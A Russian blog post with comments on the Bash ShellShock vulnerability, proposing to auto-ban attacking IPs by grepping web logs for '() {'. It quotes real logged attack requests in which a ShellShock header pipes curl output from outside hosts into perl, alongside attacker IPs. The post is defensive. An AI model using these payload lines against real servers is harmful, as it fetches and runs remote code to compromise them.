Как использовать дыру ShellShock для укрепления безопасности собственного сайта

После того, как в Bash нашли позорнейшую дыру ShellShock, сайты атакуются десятки и сотни раз в день.

Честное слово, надоело в логах каждый день видеть вариации вот такого:

select path,url,hostname from accesslog where url like '%()%';


+----------------------+--------------------------------------------------------------------------+----------------+
| path | url | hostname |
+----------------------+--------------------------------------------------------------------------+----------------+
| node | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 186.202.183.68 |
| node | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 186.202.183.68 |
| node | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 186.202.183.68 |
| node | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 78.129.145.208 |
| node | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 78.129.145.208 |
| node | () { :; }; curl httр://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl | 78.129.145.208 |
| node | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl | 208.131.138.50 |
| cgi-bin | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl | 208.131.138.50 |
| cgi-sys | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl | 208.131.138.50 |
| cgi-bin-sdb/printenv | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl | 208.131.138.50 |
| cgi-mod/index.cgi | () { :; }; curl httр://new-energo0.1gb.ru/cpan_root | perl | 208.131.138.50 |
+----------------------+--------------------------------------------------------------------------+----------------+
11 rows in set (0.00 sec)

Почему-то принято делить хакеров на White Hat и Black Hat. По-моему, правильнее делить их на настоящих хакеров и каккеров-имбецилов. Первые сами находят уязвимости, вторые читают о них в журналах для пионеров типа «Каккер», месяц не могут врубиться, зато потом еще 5 лет будут пытаться воспользоваться дырой. Вот и с ShellShock: казалось бы, месяц прошел, все давно пропатчились, а количество атак только возрастает, причем чудовищными темпами. Но не будем отвлекаться.

Как известно, во всем можно отыскать как положительную, так и отрицательную сторону. В случае ShellShock со вредом все понятно — всякие упыри стали ломать сервера, чтобы потом с них атаковать, DDoS-ить и рассылать спам. Но должна же быть и хорошая сторона в появлении ShellShock? И эта сторона есть!

Давайте рассуждать. Чтобы попытаться проэксплуатировать дыру, каккер должен отправить данные, содержащие неизменяемый фрагмент. Как минимум, это "() {". С другой стороны, станет ли кто-нибудь отсылать данные, содержащие эту комбинацию без намерения что-то взломать? Очевидно, что нет. Делаем вывод, что получение "() {" может однозначно трактоваться как сигнал о преднамеренной попытке взлома. Получается, что каккеры сами выдают свои прокси и взломанные промежуточные сайты. Нам остается только собрать реестр таких IP и надежно их забанить.

Для этого пишем простой скрип, использующий всего 4 команды: cat, grep, cut и iptables. Суть проста: берется журнал посещений web-сервера, прогоняется через grep, с помощью cut вычленяется столбец с ip-адресом и все это отдается в iptables для блокировки. Лучше сразу всей подсетью /24. Иронично, что скрип на Bash.

Добавляем в cron и готово — теперь каккеры сами себя блокируют, чем значительно повышают общую защищенность сайта.

Кстати

Интернет-организации часто жалуются, что исчерпаны запасы свободных IP-адресов. Разве сейчас не предоставилась уникальная возможность составить список адресов, с которых ведутся атаки и изъять эти адреса у тех, кто не может защитить и удержать их?

Оценка: 
5
Средняя: 4.8 (4 оценки)

Комментарии

В perl-скрипте прописан адрес командного центра. Домен в зоне su. То есть, не составило бы труда либо разделегировать домен и лишить каккеров доступа к ботнету, либо переписать DNS-сервера, взять ботнет под контроль, обновить на протрояненных компах баш и дать команду на самоудаление трояна. Но кому это нужно в России. Насколько я понимаю, лучшие пинкертоны заняты только мочиловом пиратов.

Оценка: 
Средняя: 5 (3 оценки)

не все пропатчились, исправьте.
еще лет десять будет дыра

Оценка: 
Пока без оценки

У шеллшока несколько вариаций, насколько я знаю.

Оценка: 
Пока без оценки

Не совсем точно попали в слово. Вариации — это когда, например, Брамс берет что-то у Гайдна и исполняет на свой манер. Все в экстазе от высокой художественной ценности переработки. В случае с Bash никакого экстаза не было. С Bash случилось следующее: в нем нашли дыру, причем настолько серьезную, что затыкать ее пришлось впопыхах. Пока затыкали, лопнуло на других участках и говно зафонтанировало уже в нескольких местах одновременно. Подходящее слово — итерация. Лопнуло — залатали, лопнуло — залатали, ... , лопнуло — залатали. На десятой итерации ситуацию удалось взять под контроль и в мире Open Source снова воцарились мир и спокойствие.

Оценка: 
Пока без оценки

Комментировать

Filtered HTML

  • Use [fn]...[/fn] (or <fn>...</fn>) to insert automatically numbered footnotes.
  • Доступны HTML теги: <a> <em> <strong> <cite> <code> <ul> <ol> <li> <dl> <dt> <dd> <blockquote> <strike> <code> <h2> <h3> <h4> <h5> <del> <img>
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Строки и параграфы переносятся автоматически.

Plain text

  • HTML-теги не обрабатываются и показываются как обычный текст
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Строки и параграфы переносятся автоматически.